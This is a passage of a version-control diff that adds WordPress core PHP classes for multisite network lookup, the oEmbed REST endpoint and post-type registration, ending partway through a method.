+	 * Internal method used by the magic getter for the 'blog_id' and 'site_id'
+	 * properties.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @return int The ID of the main site.
+	 */
+	private function get_main_site_id() {
+		/**
+		 * Filters the main site ID.
+		 *
+		 * Returning a positive integer will effectively short-circuit the function.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param int|null   $main_site_id If a positive integer is returned, it is interpreted as the main site ID.
+		 * @param WP_Network $network      The network object for which the main site was detected.
+		 */
+		$main_site_id = (int) apply_filters( 'pre_get_main_site_id', null, $this );
+		if ( 0 < $main_site_id ) {
+			return $main_site_id;
+		}
+
+		if ( 0 < (int) $this->blog_id ) {
+			return (int) $this->blog_id;
+		}
+
+		if ( ( defined( 'DOMAIN_CURRENT_SITE' ) && defined( 'PATH_CURRENT_SITE' ) && $this->domain === DOMAIN_CURRENT_SITE && $this->path === PATH_CURRENT_SITE )
+			|| ( defined( 'SITE_ID_CURRENT_SITE' ) && $this->id == SITE_ID_CURRENT_SITE ) ) {
+			if ( defined( 'BLOG_ID_CURRENT_SITE' ) ) {
+				$this->blog_id = (string) BLOG_ID_CURRENT_SITE;
+
+				return (int) $this->blog_id;
+			}
+
+			if ( defined( 'BLOGID_CURRENT_SITE' ) ) { // deprecated.
+				$this->blog_id = (string) BLOGID_CURRENT_SITE;
+
+				return (int) $this->blog_id;
+			}
+		}
+
+		$site = get_site();
+		if ( $site->domain === $this->domain && $site->path === $this->path ) {
+			$main_site_id = (int) $site->id;
+		} else {
+			$cache_key = 'network:' . $this->id . ':main_site';
+
+			$main_site_id = wp_cache_get( $cache_key, 'site-options' );
+			if ( false === $main_site_id ) {
+				$_sites = get_sites( array(
+					'fields'     => 'ids',
+					'number'     => 1,
+					'domain'     => $this->domain,
+					'path'       => $this->path,
+					'network_id' => $this->id,
+				) );
+				$main_site_id = ! empty( $_sites ) ? array_shift( $_sites ) : 0;
+
+				wp_cache_add( $cache_key, $main_site_id, 'site-options' );
+			}
+		}
+
+		$this->blog_id = (string) $main_site_id;
+
+		return (int) $this->blog_id;
+	}
+
+	/**
+	 * Set the site name assigned to the network if one has not been populated.
+	 *
+	 * @since 4.4.0
+	 */
+	private function _set_site_name() {
+		if ( ! empty( $this->site_name ) ) {
+			return;
+		}
+
+		$default = ucfirst( $this->domain );
+		$this->site_name = get_network_option( $this->id, 'site_name', $default );
+	}
+
+	/**
+	 * Set the cookie domain based on the network domain if one has
+	 * not been populated.
+	 *
+	 * @todo What if the domain of the network doesn't match the current site?
+	 *
+	 * @since 4.4.0
+	 */
+	private function _set_cookie_domain() {
+		if ( ! empty( $this->cookie_domain ) ) {
+			return;
+		}
+
+		$this->cookie_domain = $this->domain;
+		if ( 'www.' === substr( $this->cookie_domain, 0, 4 ) ) {
+			$this->cookie_domain = substr( $this->cookie_domain, 4 );
+		}
+	}
+
+	/**
+	 * Retrieve the closest matching network for a domain and path.
+	 *
+	 * This will not necessarily return an exact match for a domain and path. Instead, it
+	 * breaks the domain and path into pieces that are then used to match the closest
+	 * possibility from a query.
+	 *
+	 * The intent of this method is to match a network during bootstrap for a
+	 * requested site address.
+	 *
+	 * @since 4.4.0
+	 * @static
+	 *
+	 * @param string   $domain   Domain to check.
+	 * @param string   $path     Path to check.
+	 * @param int|null $segments Path segments to use. Defaults to null, or the full path.
+	 * @return WP_Network|bool Network object if successful. False when no network is found.
+	 */
+	public static function get_by_path( $domain = '', $path = '', $segments = null ) {
+		$domains = array( $domain );
+		$pieces  = explode( '.', $domain );
+
+		/*
+		 * It's possible one domain to search is 'com', but it might as well
+		 * be 'localhost' or some other locally mapped domain.
+		 */
+		while ( array_shift( $pieces ) ) {
+			if ( ! empty( $pieces ) ) {
+				$domains[] = implode( '.', $pieces );
+			}
+		}
+
+		/*
+		 * If we've gotten to this function during normal execution, there is
+		 * more than one network installed. At this point, who knows how many
+		 * we have. Attempt to optimize for the situation where networks are
+		 * only domains, thus meaning paths never need to be considered.
+		 *
+		 * This is a very basic optimization; anything further could have
+		 * drawbacks depending on the setup, so this is best done per-installation.
+		 */
+		$using_paths = true;
+		if ( wp_using_ext_object_cache() ) {
+			$using_paths = wp_cache_get( 'networks_have_paths', 'site-options' );
+			if ( false === $using_paths ) {
+				$using_paths = get_networks( array(
+					'number'       => 1,
+					'count'        => true,
+					'path__not_in' => '/',
+				) );
+				wp_cache_add( 'networks_have_paths', $using_paths, 'site-options'  );
+			}
+		}
+
+		$paths = array();
+		if ( $using_paths ) {
+			$path_segments = array_filter( explode( '/', trim( $path, '/' ) ) );
+
+			/**
+			 * Filters the number of path segments to consider when searching for a site.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @param int|null $segments The number of path segments to consider. WordPress by default looks at
+			 *                           one path segment. The function default of null only makes sense when you
+			 *                           know the requested path should match a network.
+			 * @param string   $domain   The requested domain.
+			 * @param string   $path     The requested path, in full.
+			 */
+			$segments = apply_filters( 'network_by_path_segments_count', $segments, $domain, $path );
+
+			if ( ( null !== $segments ) && count( $path_segments ) > $segments ) {
+				$path_segments = array_slice( $path_segments, 0, $segments );
+			}
+
+			while ( count( $path_segments ) ) {
+				$paths[] = '/' . implode( '/', $path_segments ) . '/';
+				array_pop( $path_segments );
+			}
+
+			$paths[] = '/';
+		}
+
+		/**
+		 * Determine a network by its domain and path.
+		 *
+		 * This allows one to short-circuit the default logic, perhaps by
+		 * replacing it with a routine that is more optimal for your setup.
+		 *
+		 * Return null to avoid the short-circuit. Return false if no network
+		 * can be found at the requested domain and path. Otherwise, return
+		 * an object from wp_get_network().
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param null|bool|object $network  Network value to return by path.
+		 * @param string           $domain   The requested domain.
+		 * @param string           $path     The requested path, in full.
+		 * @param int|null         $segments The suggested number of paths to consult.
+		 *                                   Default null, meaning the entire path was to be consulted.
+		 * @param array            $paths    The paths to search for, based on $path and $segments.
+		 */
+		$pre = apply_filters( 'pre_get_network_by_path', null, $domain, $path, $segments, $paths );
+		if ( null !== $pre ) {
+			return $pre;
+		}
+
+		if ( ! $using_paths ) {
+			$networks = get_networks( array(
+				'number'     => 1,
+				'orderby'    => array(
+					'domain_length' => 'DESC',
+				),
+				'domain__in' => $domains,
+			) );
+
+			if ( ! empty( $networks ) ) {
+				return array_shift( $networks );
+			}
+
+			return false;
+		}
+
+		$networks = get_networks( array(
+			'orderby'    => array(
+				'domain_length' => 'DESC',
+				'path_length'   => 'DESC',
+			),
+			'domain__in' => $domains,
+			'path__in'   => $paths,
+		) );
+
+		/*
+		 * Domains are sorted by length of domain, then by length of path.
+		 * The domain must match for the path to be considered. Otherwise,
+		 * a network with the path of / will suffice.
+		 */
+		$found = false;
+		foreach ( $networks as $network ) {
+			if ( ( $network->domain === $domain ) || ( "www.{$network->domain}" === $domain ) ) {
+				if ( in_array( $network->path, $paths, true ) ) {
+					$found = true;
+					break;
+				}
+			}
+			if ( $network->path === '/' ) {
+				$found = true;
+				break;
+			}
+		}
+
+		if ( true === $found ) {
+			return $network;
+		}
+
+		return false;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-oembed-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-oembed-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-oembed-controller.php	(revision 56912)
@@ -0,0 +1,210 @@
+<?php
+/**
+ * WP_oEmbed_Controller class, used to provide an oEmbed endpoint.
+ *
+ * @package WordPress
+ * @subpackage Embeds
+ * @since 4.4.0
+ */
+
+/**
+ * oEmbed API endpoint controller.
+ *
+ * Registers the API route and delivers the response data.
+ * The output format (XML or JSON) is handled by the REST API.
+ *
+ * @since 4.4.0
+ */
+final class WP_oEmbed_Controller {
+	/**
+	 * Register the oEmbed REST API route.
+	 *
+	 * @since 4.4.0
+	 */
+	public function register_routes() {
+		/**
+		 * Filters the maxwidth oEmbed parameter.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param int $maxwidth Maximum allowed width. Default 600.
+		 */
+		$maxwidth = apply_filters( 'oembed_default_width', 600 );
+
+		register_rest_route( 'oembed/1.0', '/embed', array(
+			array(
+				'methods'  => WP_REST_Server::READABLE,
+				'callback' => array( $this, 'get_item' ),
+				'args'     => array(
+					'url'      => array(
+						'required'          => true,
+						'sanitize_callback' => 'esc_url_raw',
+					),
+					'format'   => array(
+						'default'           => 'json',
+						'sanitize_callback' => 'wp_oembed_ensure_format',
+					),
+					'maxwidth' => array(
+						'default'           => $maxwidth,
+						'sanitize_callback' => 'absint',
+					),
+				),
+			),
+		) );
+
+		register_rest_route( 'oembed/1.0', '/proxy', array(
+			array(
+				'methods'  => WP_REST_Server::READABLE,
+				'callback' => array( $this, 'get_proxy_item' ),
+				'permission_callback' => array( $this, 'get_proxy_item_permissions_check' ),
+				'args'     => array(
+					'url'      => array(
+						'description'       => __( 'The URL of the resource for which to fetch oEmbed data.' ),
+						'type'              => 'string',
+						'required'          => true,
+						'sanitize_callback' => 'esc_url_raw',
+					),
+					'format'   => array(
+						'description'       => __( 'The oEmbed format to use.' ),
+						'type'              => 'string',
+						'default'           => 'json',
+						'enum'              => array(
+							'json',
+							'xml',
+						),
+					),
+					'maxwidth' => array(
+						'description'       => __( 'The maximum width of the embed frame in pixels.' ),
+						'type'              => 'integer',
+						'default'           => $maxwidth,
+						'sanitize_callback' => 'absint',
+					),
+					'maxheight' => array(
+						'description'       => __( 'The maximum height of the embed frame in pixels.' ),
+						'type'              => 'integer',
+						'sanitize_callback' => 'absint',
+					),
+					'discover' => array(
+						'description'       => __( 'Whether to perform an oEmbed discovery request for non-whitelisted providers.' ),
+						'type'              => 'boolean',
+						'default'           => true,
+					),
+				),
+			),
+		) );
+	}
+
+	/**
+	 * Callback for the embed API endpoint.
+	 *
+	 * Returns the JSON object for the post.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return WP_Error|array oEmbed response data or WP_Error on failure.
+	 */
+	public function get_item( $request ) {
+		$post_id = url_to_postid( $request['url'] );
+
+		/**
+		 * Filters the determined post ID.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param int    $post_id The post ID.
+		 * @param string $url     The requested URL.
+		 */
+		$post_id = apply_filters( 'oembed_request_post_id', $post_id, $request['url'] );
+
+		$data = get_oembed_response_data( $post_id, $request['maxwidth'] );
+
+		if ( ! $data ) {
+			return new WP_Error( 'oembed_invalid_url', get_status_header_desc( 404 ), array( 'status' => 404 ) );
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Checks if current user can make a proxy oEmbed request.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
+	 */
+	public function get_proxy_item_permissions_check() {
+		if ( ! current_user_can( 'edit_posts' ) ) {
+			return new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to make proxied oEmbed requests.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+		return true;
+	}
+
+	/**
+	 * Callback for the proxy API endpoint.
+	 *
+	 * Returns the JSON object for the proxied item.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @see WP_oEmbed::get_html()
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return object|WP_Error oEmbed response data or WP_Error on failure.
+	 */
+	public function get_proxy_item( $request ) {
+		$args = $request->get_params();
+
+		// Serve oEmbed data from cache if set.
+		unset( $args['_wpnonce'] );
+		$cache_key = 'oembed_' . md5( serialize( $args ) );
+		$data = get_transient( $cache_key );
+		if ( ! empty( $data ) ) {
+			return $data;
+		}
+
+		$url = $request['url'];
+		unset( $args['url'] );
+
+		// Copy maxwidth/maxheight to width/height since WP_oEmbed::fetch() uses these arg names.
+		if ( isset( $args['maxwidth'] ) ) {
+			$args['width'] = $args['maxwidth'];
+		}
+		if ( isset( $args['maxheight'] ) ) {
+			$args['height'] = $args['maxheight'];
+		}
+
+		// Short-circuit process for URLs belonging to the current site.
+		$data = get_oembed_response_data_for_url( $url, $args );
+
+		if ( $data ) {
+			return $data;
+		}
+
+		$data = _wp_oembed_get_object()->get_data( $url, $args );
+
+		if ( false === $data ) {
+			return new WP_Error( 'oembed_invalid_url', get_status_header_desc( 404 ), array( 'status' => 404 ) );
+		}
+
+		/** This filter is documented in wp-includes/class-oembed.php */
+		$data->html = apply_filters( 'oembed_result', _wp_oembed_get_object()->data2html( (object) $data, $url ), $url, $args );
+
+		/**
+		 * Filters the oEmbed TTL value (time to live).
+		 *
+		 * Similar to the {@see 'oembed_ttl'} filter, but for the REST API
+		 * oEmbed proxy endpoint.
+		 *
+		 * @since 4.8.0
+		 *
+		 * @param int    $time    Time to live (in seconds).
+		 * @param string $url     The attempted embed URL.
+		 * @param array  $args    An array of embed request arguments.
+		 */
+		$ttl = apply_filters( 'rest_oembed_ttl', DAY_IN_SECONDS, $url, $args );
+
+		set_transient( $cache_key, $data, $ttl );
+
+		return $data;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-post-type.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-post-type.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-post-type.php	(revision 56912)
@@ -0,0 +1,679 @@
+<?php
+/**
+ * Post API: WP_Post_Type class
+ *
+ * @package WordPress
+ * @subpackage Post
+ * @since 4.6.0
+ */
+
+/**
+ * Core class used for interacting with post types.
+ *
+ * @since 4.6.0
+ *
+ * @see register_post_type()
+ */
+final class WP_Post_Type {
+	/**
+	 * Post type key.
+	 *
+	 * @since 4.6.0
+	 * @var string $name
+	 */
+	public $name;
+
+	/**
+	 * Name of the post type shown in the menu. Usually plural.
+	 *
+	 * @since 4.6.0
+	 * @var string $label
+	 */
+	public $label;
+
+	/**
+	 * Labels object for this post type.
+	 *
+	 * If not set, post labels are inherited for non-hierarchical types
+	 * and page labels for hierarchical ones.
+	 *
+	 * @see get_post_type_labels()
+	 *
+	 * @since 4.6.0
+	 * @var object $labels
+	 */
+	public $labels;
+
+	/**
+	 * A short descriptive summary of what the post type is.
+	 *
+	 * Default empty.
+	 *
+	 * @since 4.6.0
+	 * @var string $description
+	 */
+	public $description = '';
+
+	/**
+	 * Whether a post type is intended for use publicly either via the admin interface or by front-end users.
+	 *
+	 * While the default settings of $exclude_from_search, $publicly_queryable, $show_ui, and $show_in_nav_menus
+	 * are inherited from public, each does not rely on this relationship and controls a very specific intention.
+	 *
+	 * Default false.
+	 *
+	 * @since 4.6.0
+	 * @var bool $public
+	 */
+	public $public = false;
+
+	/**
+	 * Whether the post type is hierarchical (e.g. page).
+	 *
+	 * Default false.
+	 *
+	 * @since 4.6.0
+	 * @var bool $hierarchical
+	 */
+	public $hierarchical = false;
+
+	/**
+	 * Whether to exclude posts with this post type from front end search
+	 * results.
+	 *
+	 * Default is the opposite value of $public.
+	 *
+	 * @since 4.6.0
+	 * @var bool $exclude_from_search
+	 */
+	public $exclude_from_search = null;
+
+	/**
+	 * Whether queries can be performed on the front end for the post type as part of `parse_request()`.
+	 *
+	 * Endpoints would include:
+	 * - `?post_type={post_type_key}`
+	 * - `?{post_type_key}={single_post_slug}`
+	 * - `?{post_type_query_var}={single_post_slug}`
+	 *
+	 * Default is the value of $public.
+	 *
+	 * @since 4.6.0
+	 * @var bool $publicly_queryable
+	 */
+	public $publicly_queryable = null;
+
+	/**
+	 * Whether to generate and allow a UI for managing this post type in the admin.
+	 *
+	 * Default is the value of $public.
+	 *
+	 * @since 4.6.0
+	 * @var bool $show_ui
+	 */
+	public $show_ui = null;
+
+	/**
+	 * Where to show the post type in the admin menu.
+	 *
+	 * To work, $show_ui must be true. If true, the post type is shown in its own top level menu. If false, no menu is
+	 * shown. If a string of an existing top level menu (eg. 'tools.php' or 'edit.php?post_type=page'), the post type
+	 * will be placed as a sub-menu of that.
+	 *
+	 * Default is the value of $show_ui.
+	 *
+	 * @since 4.6.0
+	 * @var bool $show_in_menu
+	 */
+	public $show_in_menu = null;
+
+	/**
+	 * Makes this post type available for selection in navigation menus.
+	 *
+	 * Default is the value $public.
+	 *
+	 * @since 4.6.0
+	 * @var bool $show_in_nav_menus
+	 */
+	public $show_in_nav_menus = null;
+
+	/**
+	 * Makes this post type available via the admin bar.
+	 *
+	 * Default is the value of $show_in_menu.
+	 *
+	 * @since 4.6.0
+	 * @var bool $show_in_admin_bar
+	 */
+	public $show_in_admin_bar = null;
+
+	/**
+	 * The position in the menu order the post type should appear.
+	 *
+	 * To work, $show_in_menu must be true. Default null (at the bottom).
+	 *
+	 * @since 4.6.0
+	 * @var int $menu_position
+	 */
+	public $menu_position = null;
+
+	/**
+	 * The URL to the icon to be used for this menu.
+	 *
+	 * Pass a base64-encoded SVG using a data URI, which will be colored to match the color scheme.
+	 * This should begin with 'data:image/svg+xml;base64,'. Pass the name of a Dashicons helper class
+	 * to use a font icon, e.g. 'dashicons-chart-pie'. Pass 'none' to leave div.wp-menu-image empty
+	 * so an icon can be added via CSS.
+	 *
+	 * Defaults to use the posts icon.
+	 *
+	 * @since 4.6.0
+	 * @var string $menu_icon
+	 */
+	public $menu_icon = null;
+
+	/**
+	 * The string to use to build the read, edit, and delete capabilities.
+	 *
+	 * May be passed as an array to allow for alternative plurals when using
+	 * this argument as a base to construct the capabilities, e.g.
+	 * array( 'story', 'stories' ). Default 'post'.
+	 *
+	 * @since 4.6.0
+	 * @var string $capability_type
+	 */
+	public $capability_type = 'post';
+
+	/**
+	 * Whether to use the internal default meta capability handling.
+	 *
+	 * Default false.
+	 *
+	 * @since 4.6.0
+	 * @var bool $map_meta_cap
+	 */
+	public $map_meta_cap = false;
+
+	/**
+	 * Provide a callback function that sets up the meta boxes for the edit form.
+	 *
+	 * Do `remove_meta_box()` and `add_meta_box()` calls in the callback. Default null.
+	 *
+	 * @since 4.6.0
+	 * @var string $register_meta_box_cb
+	 */
+	public $register_meta_box_cb = null;
+
+	/**
+	 * An array of taxonomy identifiers that will be registered for the post type.
+	 *
+	 * Taxonomies can be registered later with `register_taxonomy()` or `register_taxonomy_for_object_type()`.
+	 *
+	 * Default empty array.
+	 *
+	 * @since 4.6.0
+	 * @var array $taxonomies
+	 */
+	public $taxonomies = array();
+
+	/**
+	 * Whether there should be post type archives, or if a string, the archive slug to use.
+	 *
+	 * Will generate the proper rewrite rules if $rewrite is enabled. Default false.
+	 *
+	 * @since 4.6.0
+	 * @var bool|string $has_archive
+	 */
+	public $has_archive = false;
+
+	/**
+	 * Sets the query_var key for this post type.
+	 *
+	 * Defaults to $post_type key. If false, a post type cannot be loaded at `?{query_var}={post_slug}`.
+	 * If specified as a string, the query `?{query_var_string}={post_slug}` will be valid.
+	 *
+	 * @since 4.6.0
+	 * @var string|bool $query_var
+	 */
+	public $query_var;
+
+	/**
+	 * Whether to allow this post type to be exported.
+	 *
+	 * Default true.
+	 *
+	 * @since 4.6.0
+	 * @var bool $can_export
+	 */
+	public $can_export = true;
+
+	/**
+	 * Whether to delete posts of this type when deleting a user.
+	 *
+	 * If true, posts of this type belonging to the user will be moved to trash when then user is deleted.
+	 * If false, posts of this type belonging to the user will *not* be trashed or deleted.
+	 * If not set (the default), posts are trashed if post_type_supports( 'author' ).
+	 * Otherwise posts are not trashed or deleted. Default null.
+	 *
+	 * @since 4.6.0
+	 * @var bool $delete_with_user
+	 */
+	public $delete_with_user = null;
+
+	/**
+	 * Whether this post type is a native or "built-in" post_type.
+	 *
+	 * Default false.
+	 *
+	 * @since 4.6.0
+	 * @var bool $_builtin
+	 */
+	public $_builtin = false;
+
+	/**
+	 * URL segment to use for edit link of this post type.
+	 *
+	 * Default 'post.php?post=%d'.
+	 *
+	 * @since 4.6.0
+	 * @var string $_edit_link
+	 */
+	public $_edit_link = 'post.php?post=%d';
+
+	/**
+	 * Post type capabilities.
+	 *
+	 * @since 4.6.0
+	 * @var object $cap
+	 */
+	public $cap;
+
+	/**
+	 * Triggers the handling of rewrites for this post type.
+	 *
+	 * Defaults to true, using $post_type as slug.
+	 *
+	 * @since 4.6.0
+	 * @var array|false $rewrite
+	 */
+	public $rewrite;
+
+	/**
+	 * The features supported by the post type.
+	 *
+	 * @since 4.6.0
+	 * @var array|bool $supports
+	 */
+	public $supports;
+
+	/**
+	 * Whether this post type should appear in the REST API.
+	 *
+	 * Default false. If true, standard endpoints will be registered with
+	 * respect to $rest_base and $rest_controller_class.
+	 *
+	 * @since 4.7.4
+	 * @var bool $show_in_rest
+	 */
+	public $show_in_rest;
+
+	/**
+	 * The base path for this post type's REST API endpoints.
+	 *
+	 * @since 4.7.4
+	 * @var string|bool $rest_base
+	 */
+	public $rest_base;
+
+	/**
+	 * The controller for this post type's REST API endpoints.
+	 *
+	 * Custom controllers must extend WP_REST_Controller.
+	 *
+	 * @since 4.7.4
+	 * @var string|bool $rest_controller_class
+	 */
+	public $rest_controller_class;
+
+	/**
+	 * Constructor.
+	 *
+	 * Will populate object properties from the provided arguments and assign other
+	 * default properties based on that information.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @see register_post_type()
+	 *
+	 * @param string       $post_type Post type key.
+	 * @param array|string $args      Optional. Array or string of arguments for registering a post type.
+	 *                                Default empty array.
+	 */
+	public function __construct( $post_type, $args = array() ) {
+		$this->name = $post_type;
+
+		$this->set_props( $args );
+	}
+
+	/**
+	 * Sets post type properties.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param array|string $args Array or string of arguments for registering a post type.
+	 */
+	public function set_props( $args ) {
+		$args = wp_parse_args( $args );
+
+		/**
+		 * Filters the arguments for registering a post type.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array  $args      Array of arguments for registering a post type.
+		 * @param string $post_type Post type key.
+		 */
+		$args = apply_filters( 'register_post_type_args', $args, $this->name );
+
+		$has_edit_link = ! empty( $args['_edit_link'] );
+
+		// Args prefixed with an underscore are reserved for internal use.
+		$defaults = array(
+			'labels'                => array(),
+			'description'           => '',
+			'public'                => false,
+			'hierarchical'          => false,
+			'exclude_from_search'   => null,
+			'publicly_queryable'    => null,
+			'show_ui'               => null,
+			'show_in_menu'          => null,
+			'show_in_nav_menus'     => null,
+			'show_in_admin_bar'     => null,
+			'menu_position'         => null,
+			'menu_icon'             => null,
+			'capability_type'       => 'post',
+			'capabilities'          => array(),
+			'map_meta_cap'          => null,
+			'supports'              => array(),
+			'register_meta_box_cb'  => null,
+			'taxonomies'            => array(),
+			'has_archive'           => false,
+			'rewrite'               => true,
+			'query_var'             => true,
+			'can_export'            => true,
+			'delete_with_user'      => null,
+			'show_in_rest'          => false,
+			'rest_base'             => false,
+			'rest_controller_class' => false,
+			'_builtin'              => false,
+			'_edit_link'            => 'post.php?post=%d',
+		);
+
+		$args = array_merge( $defaults, $args );
+
+		$args['name'] = $this->name;
+
+		// If not set, default to the setting for public.
+		if ( null === $args['publicly_queryable'] ) {
+			$args['publicly_queryable'] = $args['public'];
+		}
+
+		// If not set, default to the setting for public.
+		if ( null === $args['show_ui'] ) {
+			$args['show_ui'] = $args['public'];
+		}
+
+		// If not set, default to the setting for show_ui.
+		if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) {
+			$args['show_in_menu'] = $args['show_ui'];
+		}
+
+		// If not set, default to the whether the full UI is shown.
+		if ( null === $args['show_in_admin_bar'] ) {
+			$args['show_in_admin_bar'] = (bool) $args['show_in_menu'];
+		}
+
+		// If not set, default to the setting for public.
+		if ( null === $args['show_in_nav_menus'] ) {
+			$args['show_in_nav_menus'] = $args['public'];
+		}
+
+		// If not set, default to true if not public, false if public.
+		if ( null === $args['exclude_from_search'] ) {
+			$args['exclude_from_search'] = ! $args['public'];
+		}
+
+		// Back compat with quirky handling in version 3.0. #14122.
+		if ( empty( $args['capabilities'] ) && null === $args['map_meta_cap'] && in_array( $args['capability_type'], array( 'post', 'page' ) ) ) {
+			$args['map_meta_cap'] = true;
+		}
+
+		// If not set, default to false.
+		if ( null === $args['map_meta_cap'] ) {
+			$args['map_meta_cap'] = false;
+		}
+
+		// If there's no specified edit link and no UI, remove the edit link.
+		if ( ! $args['show_ui'] && ! $has_edit_link ) {
+			$args['_edit_link'] = '';
+		}
+
+		$this->cap = get_post_type_capabilities( (object) $args );
+		unset( $args['capabilities'] );
+
+		if ( is_array( $args['capability_type'] ) ) {
+			$args['capability_type'] = $args['capability_type'][0];
+		}
+
+		if ( false !== $args['query_var'] ) {
+			if ( true === $args['query_var'] ) {
+				$args['query_var'] = $this->name;
+			} else {
+				$args['query_var'] = sanitize_title_with_dashes( $args['query_var'] );
+			}
+		}
+
+		if ( false !== $args['rewrite'] && ( is_admin() || '' != get_option( 'permalink_structure' ) ) ) {
+			if ( ! is_array( $args['rewrite'] ) ) {
+				$args['rewrite'] = array();
+			}
+			if ( empty( $args['rewrite']['slug'] ) ) {
+				$args['rewrite']['slug'] = $this->name;
+			}
+			if ( ! isset( $args['rewrite']['with_front'] ) ) {
+				$args['rewrite']['with_front'] = true;
+			}
+			if ( ! isset( $args['rewrite']['pages'] ) ) {
+				$args['rewrite']['pages'] = true;
+			}
+			if ( ! isset( $args['rewrite']['feeds'] ) || ! $args['has_archive'] ) {
+				$args['rewrite']['feeds'] = (bool) $args['has_archive'];
+			}
+			if ( ! isset( $args['rewrite']['ep_mask'] ) ) {
+				if ( isset( $args['permalink_epmask'] ) ) {
+					$args['rewrite']['ep_mask'] = $args['permalink_epmask'];
+				} else {
+					$args['rewrite']['ep_mask'] = EP_PERMALINK;
+				}
+			}
+		}
+
+		foreach ( $args as $property_name => $property_value ) {
+			$this->$property_name = $property_value;
+		}
+
+		$this->labels = get_post_type_labels( $this );
+		$this->label  = $this->labels->name;
+	}
+
+	/**
+	 * Sets the features support for the post type.
+	 *
+	 * @since 4.6.0
+	 */
+	public function add_supports() {
+		if ( ! empty( $this->supports ) ) {
+			add_post_type_support( $this->name, $this->supports );
+			unset( $this->supports );
+		} elseif ( false !== $this->supports ) {
+			// Add default features.
+			add_post_type_support( $this->name, array( 'title', 'editor' ) );
+		}
+	}
+
+	/**
+	 * Adds the necessary rewrite rules for the post type.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global WP_Rewrite $wp_rewrite WordPress Rewrite Component.
+	 * @global WP         $wp         Current WordPress environment instance.
+	 */
+	public function add_rewrite_rules() {
+		global $wp_rewrite, $wp;
+
+		if ( false !== $this->query_var && $wp && is_post_type_viewable( $this ) ) {
+			$wp->add_query_var( $this->query_var );
+		}
+
+		if ( false !== $this->rewrite && ( is_admin() || '' != get_option( 'permalink_structure' ) ) ) {
+			if ( $this->hierarchical ) {
+				add_rewrite_tag( "%$this->name%", '(.+?)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&pagename=" );
+			} else {
+				add_rewrite_tag( "%$this->name%", '([^/]+)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&name=" );
+			}
+
+			if ( $this->has_archive ) {
+				$archive_slug = true === $this->has_archive ? $this->rewrite['slug'] : $this->has_archive;
+				if ( $this->rewrite['with_front'] ) {
+					$archive_slug = substr( $wp_rewrite->front, 1 ) . $archive_slug;
+				} else {
+					$archive_slug = $wp_rewrite->root . $archive_slug;
+				}
+
+				add_rewrite_rule( "{$archive_slug}/?$", "index.php?post_type=$this->name", 'top' );
+				if ( $this->rewrite['feeds'] && $wp_rewrite->feeds ) {
+					$feeds = '(' . trim( implode( '|', $wp_rewrite->feeds ) ) . ')';
+					add_rewrite_rule( "{$archive_slug}/feed/$feeds/?$", "index.php?post_type=$this->name" . '&feed=$matches[1]', 'top' );
+					add_rewrite_rule( "{$archive_slug}/$feeds/?$", "index.php?post_type=$this->name" . '&feed=$matches[1]', 'top' );
+				}
+				if ( $this->rewrite['pages'] ) {
+					add_rewrite_rule( "{$archive_slug}/{$wp_rewrite->pagination_base}/([0-9]{1,})/?$", "index.php?post_type=$this->name" . '&paged=$matches[1]', 'top' );
+				}
+			}
+
+			$permastruct_args         = $this->rewrite;
+			$permastruct_args['feed'] = $permastruct_args['feeds'];
+			add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $permastruct_args );
+		}
+	}
+
+	/**
+	 * Registers the post type meta box if a custom callback was specified.
+	 *
+	 * @since 4.6.0
+	 */
+	public function register_meta_boxes() {
+		if ( $this->register_meta_box_cb ) {
+			add_action( 'add_meta_boxes_' . $this->name, $this->register_meta_box_cb, 10, 1 );
+		}
+	}
+
+	/**
+	 * Adds the future post hook action for the post type.
+	 *
+	 * @since 4.6.0
+	 */
+	public function add_hooks() {
+		add_action( 'future_' . $this->name, '_future_post_hook', 5, 2 );
+	}
+
+	/**
+	 * Registers the taxonomies for the post type.
+	 *
+	 * @since 4.6.0
+	 */
+	public function register_taxonomies() {
+		foreach ( $this->taxonomies as $taxonomy ) {
+			register_taxonomy_for_object_type( $taxonomy, $this->name );
+		}
+	}
+
+	/**
+	 * Removes the features support for the post type.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global array $_wp_post_type_features Post type features.
+	 */
+	public function remove_supports() {
+		global $_wp_post_type_features;
+
+		unset( $_wp_post_type_features[ $this->name ] );
+	}
+
+	/**
+	 * Removes any rewrite rules, permastructs, and rules for the post type.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global WP_Rewrite $wp_rewrite          WordPress rewrite component.
+	 * @global WP         $wp                  Current WordPress environment instance.
+	 * @global array      $post_type_meta_caps Used to remove meta capabilities.
+	 */
+	public function remove_rewrite_rules() {
+		global $wp, $wp_rewrite, $post_type_meta_caps;
+
+		// Remove query var.
+		if ( false !== $this->query_var ) {
+			$wp->remove_query_var( $this->query_var );
+		}
+
+		// Remove any rewrite rules, permastructs, and rules.
+		if ( false !== $this->rewrite ) {
+			remove_rewrite_tag( "%$this->name%" );
+			remove_permastruct( $this->name );
+			foreach ( $wp_rewrite->extra_rules_top as $regex => $query ) {
